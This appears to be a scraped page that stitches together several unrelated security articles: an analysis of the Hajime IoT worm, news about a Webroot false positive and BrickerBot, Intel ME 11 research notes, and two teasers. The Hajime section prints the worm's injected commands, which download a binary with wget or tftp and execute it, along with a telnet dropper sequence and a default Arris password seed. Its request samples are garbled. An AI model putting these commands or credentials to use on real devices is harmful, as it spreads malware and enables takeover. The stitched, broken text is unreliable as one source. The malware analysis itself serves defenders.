Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.
Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.
In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.ATK module improvements
First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:
- TR-069 exploitation;
- Telnet default password attack;
- Arris cable modem password of the day attack.
Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.
Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.
The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:
GET / HTTP/1.1
Where RANDOM_USER_AGENT is chosen from the following list:
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
After some checks, it sends the following request to trigger the vulnerability:
POST /UD/act?1 HTTP/1.1
<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodinghttp://schemas.xmlsoap.org/soap/encoding//”>http://schemas.xmlsoap.org/soap/encoding/“>
The INJECT_COMMANDS can either be:
cd /tmp;tftp -l<INT_ARCH_ID> -r<INT_ARCH_ID> -g <SEED_IP_PORT>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>
cd /tmp;wget http://<SEED_IP_PORT>/<INT_ARCH_ID>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>
Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.Architecture detection
With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.
Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).
But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.
Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).
echo -ne “DOWNLOADER_HEX_BYTES” >> .s
(route -n | grep UG | grep lbr0 && echo -n lbr0 >> .s) || (route -n | grep UG | grep mta0 && echo -n mta0 >> .s)
echo -ne “DOWNLOADER_HEX_BYTES” >> .s
./.s>.i; chmod +x .i; ./.i; rm .s;
exit“Smart” password bruteforcing
Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.
Password hint words:
Welcome to ATP Cli
STAR-NET ADSL2+ Router
One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.Victimology
While working on this blogpost, we collected statistics using three different methods:
- We had a honeypot with telnet open;
- We looked at the infected peers as DHT seeders;
- We looked at the infected peers as DHT leechers;
Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.
The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.Geography of telnet attackers
Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.
The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.http header “Server” statistics 364 Server: uc-httpd 1.0.0 43 Server: WCY_WEBServer/2.0 9 Server: Boa/0.94.14rc21 4 Server: thttpd/2.25b-lxc 29dec2003 3 Server: Router Webserver 2 Server: GoAhead-Webs 2 Server: JAWS/1.0 May 26 2014 2 Server: nginx/1.4.4 1 Server: DNVRS-Webs 1 Server: IPCamera-Webs 1 Server: IPCamera-Webs/2.5.0 1 Server: JAWS/1.0 Aug 21 2013 1 Server: JAWS/1.0 Jul 9 2013 1 Server: JAWS/1.0 Jun 13 2013 1 Server: JAWS/1.0 Jun 25 2013 1 Server: JAWS/1.0 Mar 20 2014 1 Server: JAWS/1.0 May 13 2013 1 Server: Microsoft-IIS/7.5 1 Server: Web server 1 Server: WebServer Web interface “title” statistics 315 NETSurveillance WEB 84 WEB SERVICE 37 NETSuveillance WEB 36 IVSWeb 2.0 – Welcome 21 9 main page 6 NEUTRON 4 WEB SURVEILLANCE 3 CPPLUS DVR –Web View 2 IVSWeb 2.0 – Добро пожаловать 2 IVSWEB_TITLE – IVSWEB_LOGIN_TITLE 2 replace 1 CPPLUS DVR–Web View 1 GIGA Security 1 IIS7 1 iProview Web 2.0 – Welcome 1 IVSWeb 2.0 – Hoş geldiniz 1 IVSWeb 2.0 – Witamy 1 WATASHI SERVICE Geography of infected peers as DHT seeders
Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.
This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.
The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:
Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.
Hardcoded IP subnetworks avoided by Hajime:
18.104.22.168/16 Ukraine; Region Vinnyts’ka Oblast’
22.214.171.124/16 Iran, Islamic Republic of; Region Tehran
126.96.36.199/16 Germany Virtela Communications Inc Amsterdam, NL POP
188.8.131.52/16 South Africa; Region Gauteng
0.0.0.0/8 IANA – Local Identification
184.108.40.206/8 General Electric Company
220.127.116.11/8 Hewlett-Packard Company
18.104.22.168/8 Hewlett-Packard Company
22.214.171.124/8 US Postal Service
United States Department of Defense:
Update 4/25/2017 7:07 AM California time:Webroot officials issued the following statement: "On April 24, Webroot experienced a technical issue affecting some business and consumer customers. We are in the process of creating a fix, but in the meantime, small business customers can follow instructions posted in the Webroot Community to address the issue."
Antivirus provider Webroot is causing a world of trouble for customers. A signature update just nuked hundreds of benign files needed to run Microsoft Windows, as well as apps that run on top of the operating system.
Social media sites ignited on late Monday afternoon with customers reporting that servers and computers alike stopped working as a result of the mishap. The admin and security pundit who goes by the Twitter handle SwiftOnSecurity told Ars that, at the company he or she worked for, the false positive quarantined "several hundred" files used by Windows Insider Preview. Hundreds of "line of business" apps, such as those that track patient appointments or manage office equipment, suffered the same fate. Webroot was also flagging Facebook as a phishing site.
BrickerBot, the botnet that permanently incapacitates poorly secured Internet of Things devices before they can be conscripted into Internet-crippling denial-of-service armies, is back with a new squadron of foot soldiers armed with a meaner arsenal of weapons.
Pascal Geenens, the researcher who first documented what he calls the permanent denial-of-service botnet, has dubbed the fiercest new instance BrickerBot.3. It appeared out of nowhere on April 20, exactly one month after BrickerBot.1 first surfaced. Not only did BrickerBot.3 mount a much quicker number of attacks—with 1,295 attacks coming in just 15 hours—it used a modified attack script that added several commands designed to more completely shock and awe its targets. BrickerBot.1, by comparison, fired 1,895 volleys during the four days it was active, and the still-active BrickerBot.2 has spit out close to 12 attacks per day.
"Just like BrickerBot.1, this attack was a short but intense burst," Geenens told Ars. "Shorter than the four days BrickerBot.1 lasted, but even more intense. The attacks from BrickerBot.3 came in on a different honeypot than the one that recorded BrickerBot.1. There is, however, no correlation between the devices used in the previous attack versus the ones in this attack."
News in brief: Russia accused of email hack; test flight for ‘flying taxi’; hacking ‘moral crusade’ for teens
Image: Clive Darra, Flickr
Intel Management Engine (ME) has been known for over 10 years (since 2005), but official Internet sources about ME are few and far between. Fortunately, excellent works on the topic have been published in recent years. However, all of them deal with ME 10 and earlier, while modern computers implement ME 11, which was introduced in 2015 for the Skylake microarchitecture.
If you have never heard about ME, this is a good time to check out great slides from Igor Skochinsky about previous versions of ME.
In short, ME is a separate processor embedded in the chipset of any modern computer with an Intel CPU. ME runs even when the computer is sleeping or powered off (as long as it is plugged in to a power outlet). ME can access any part of RAM, but the RAM region used by ME is not accessible from the OS. What’s more, ME is capable of out-of-band access to the network adapter.
The most recent version of ME is 11. Older versions of ME were based on the ARCtangent/ARCompact/SPARC architecture, but version 11 is x86-based. This is helpful for us researchers since x86 is much more convenient (thanks to more available tools and past research to refer to).
However, ME v11 uses a different layout of data within the firmware image and old tools are unable to handle this layout properly. ME v11 also uses an unknown set of Huffman tables (which are required to decompress many modules embedded in firmware). This all makes it very difficult to start exploration of ME internals…
Playing with system toolsIntel is known to have at least two sets of tools for ME.
The first set, called “Intel ME System Tools,” is available to OEMs/vendors (think Acer, Gigabyte, Dell). This can be used to fine-tune ME firmware before delivering it to the end user. Fortunately for us, vendors often include these tools in the distribution package of BIOS updates, thus making them available to the general public.
The second set of tools is used internally within Intel and able to do almost anything with ME (including Huffman compression). We have never heard about any leaks of these tools, however.
We have collected many ME firmware images on the Internet and extracted some information about ME modules. Unfortunately, several modules with promising names are always Huffman-compressed and not amenable to analysis. These module names include kernel, syslib (System Library), bup (Bring-Up), and amt (Active Management Technology).
We started playing with Manifest Extension Utility (meu.exe) from ME System Tools and discovered that we could generate an XML file containing the text string “NOT_COMPRESSED”. We looked inside meu.exe and located an identical string. However, these strings are not referenced anywhere in code…
Explaining observationsAfter analysis, we found that the meu.exe binary contains an embedded file system that uses data compression and is accessible via the Qt Resource System interface. The same applies to Flash Image Tool (fit.exe). We extracted all embedded files and briefly analyzed them.
Some files appear to be XML (human-readable) and contain helpful information (meaningful names and comments) about the binary format of internal structures (extensions) used in Code Partition Manifest and Module Metadata. Therefore, after interpreting the XML data, we were able to understand almost every field in Manifest and Metadata.
Metadata analysis can suggest many interesting conclusions. For example, we were able to find a list of internal device names and check access permissions (which module is permitted to access which device).
ROM bypassWe were lucky to find several ME firmware images that contain a ROM bypass partition—code and data that could be used instead of the ROM in case of errors in non-updatable areas of ME.
The ROM bypass is not too big and can be analyzed in full. Some logic (related to memory-mapped devices and data obtained from them) can only be guessed at, but the process of loading and verifying the startup module (named rbe) seems straightforward.
Funny findingsWe are still unable to build an overall picture of ME, due to Huffman compression of the kernel and syslib code. However, it is possible to analyze TXE (Trusted Execution Engine, the equivalent of ME for Intel Atom CPUs) thanks to the absence of Huffman compression.
In addition, when we looked inside the decompressed vfs module, we encountered the strings “FS: bogus child for forking” and “FS: forking on top of in-use child,” which clearly originate from Minix3 code. It would seem that ME 11 is based on the MINIX 3 OS developed by Andrew Tanenbaum :)
ConclusionAnalyzing ME is a complicated task, and the work we have described here would be no more than 1% of the total. We hope that our findings will help other researchers so we can all learn more about Intel ME in the near future!
Author: Dmitry Sklyarov, Positive Technologies
In this article, we will look at how what shellcode is, what is its purpose and various shellcode patterns, etc. Please note that this article will not cover how a shellcode is written and is outside the scope of this article. Shellcode is a sequence of bytes that represent assembly instructions. Please note that they […]
Introduction Back a long time ago, one of the first computers at least came out was known as the “TRS-80”, which was manufactured by Radio Shack at the time. This computer came out in the late 1970s, and at the time, it was heralded to be a breakthrough in computer technology. It could run and […]